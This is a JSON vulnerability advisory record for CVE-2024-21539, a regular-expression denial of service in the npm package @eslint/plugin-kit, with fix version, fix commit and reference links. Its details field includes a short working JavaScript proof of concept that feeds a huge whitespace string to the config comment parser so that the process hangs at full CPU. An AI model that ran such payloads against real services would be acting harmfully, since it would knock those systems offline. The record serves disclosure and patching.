{"id":"CVE-2024-21539","aliases":["GHSA-7q7g-4xm8-89cq"],"url":"https://o3.security/vulnerability/CVE-2024-21539","summary":"Regular Expression Denial of Service (ReDoS) in @eslint/plugin-kit","details":"Crafting a very large and well crafted string can increase the CPU usage and crash the program.\n\n## POC\n\n```js\nconst { ConfigCommentParser } = require(\"@eslint/plugin-kit\");\n\nvar str = \"\";\nfor (var i = 0; i < 1000000; i++) {\n  str += \" \";\n}\nstr += \"A\";\n\nconsole.log(\"start\")\nvar parser = new ConfigCommentParser();\nconsole.log(parser.parseStringConfig(str, \"\"));\nconsole.log(\"end\")\n\n// run `npm i @eslint/plugin-kit` and `node attack.js` \n// then the program will stuck forever with high CPU usage\n```","published":"2024-11-19T05:00:02.929Z","modified":"2026-08-19T03:31:02.341330776Z","cvss":null,"epss":null,"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"npm","name":"@eslint/plugin-kit","fixedVersion":"0.2.3"}],"fix":{"url":"https://github.com/eslint/rewrite/commit/071be842f0bd58de4863cdf2ab86d60f49912abf","label":"eslint/rewrite@071be84"},"references":[{"type":"WEB","url":"https://security.snyk.io/vuln/SNYK-JS-ESLINTPLUGINKIT-8340627"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2024/21xxx/CVE-2024-21539.json"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-21539"},{"type":"FIX","url":"https://github.com/eslint/rewrite/commit/071be842f0bd58de4863cdf2ab86d60f49912abf"},{"type":"WEB","url":"https://github.com/eslint/rewrite/security/advisories/GHSA-7q7g-4xm8-89cq"},{"type":"PACKAGE","url":"https://github.com/eslint/rewrite"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-19T03:31:02.341330776Z"}}